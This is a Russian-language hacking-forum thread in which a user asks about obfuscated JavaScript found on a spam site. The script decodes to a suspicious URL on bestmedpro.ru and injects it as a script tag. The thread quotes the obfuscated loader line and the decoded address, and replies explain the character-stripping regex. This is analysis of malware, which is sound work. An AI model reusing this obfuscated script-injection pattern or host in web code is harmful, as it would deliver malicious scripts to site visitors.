Форум АНТИЧАТ - странный урл в одном крипте

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)

- - странный урл в одном крипте (https://forum.antichat.xyz/showthread.php?t=204072)

странный урл в одном крипте

наткнулся на blogsspam.ru - антивирус и гугл всячески препятствовали его открытию, но я вытянул его вгетом и стал изучать исходники.

в них был крипт с таким текстом:

PHP код:


		
			


attrValue1 = 'h^@!!)t)t!^p(:#$/^()#/()p&^)!c(($h((o#m!)e&&-!()n@)!(e@($t).!g!o#o$(g$!#@&l($)e#@^$.(##!(c^o#$^m##.#a!@r@$^!.@@&$t@&r!#!)!a(i@@d&&$@n#t#@(&-$!n&#&e!))t(&.$^b@!$e^$@s(^!$t&m$@$@^e@@d!(@&p)^r)(o#&#.&r^u@$@:)!8^0#(@(8@^0$!/&g)o&o#^g@#$(l!(&e&((.!)c^o&#&m$$)/@!g@o^&)o^$&g@(l$!^e$^&.@(c!&&o)&m$/^(z$#)&5^x$^.#^^n(e&#!#@t((#/##c^$$a!^r@&e(e!#@r@(#b#u&i##!l^#d)e!r&(&.^$$c!^^o#((m(@/!$^o^(&p)&e^r!a$^^.!^c&(&o@)m@#(#/@'.replace(/@|\^|\!|\(|\)|#|\$|&/ig, '');





// это означает:



http://pchome-net.google.com.ar.traidnt-net.bestmedpro.ru:8080/google.com/google.com/z5x.net/careerbuilder.com/opera.com/

в результате создается тег script, эта строка ставится ему в src и он прикрепляется к body.

вопрос - что это за адрес такой? опера его не открывает

PHP код:


		
			
replace(/@|^|!|(|)|#|\$|&/ig, '')

ни о чем не говорит?

Код:

http://pchome-net.google.com.ar.traidnt-net.bestmedpro.ru:8080/google.com/google.com/z5x.net/careerbuilder.com/opera.com/

Цитата:

replace(/@|^|!|(|)|#|\$|&/ig, '')

перечислены символы, которые удаляются из строки
и?

Kaimi
чем твой адрес отличается от моего?
ясности не внесло

Судя по всему там раньше был scr для нехорошего скрипта, мейби когда домен попал в черный список или еще чего заменили scr вот на такое, а может у bestmedpro.ru действительно раньше были такие сабы потому как адрес вполне соответствует RFC 1630, но их снесли.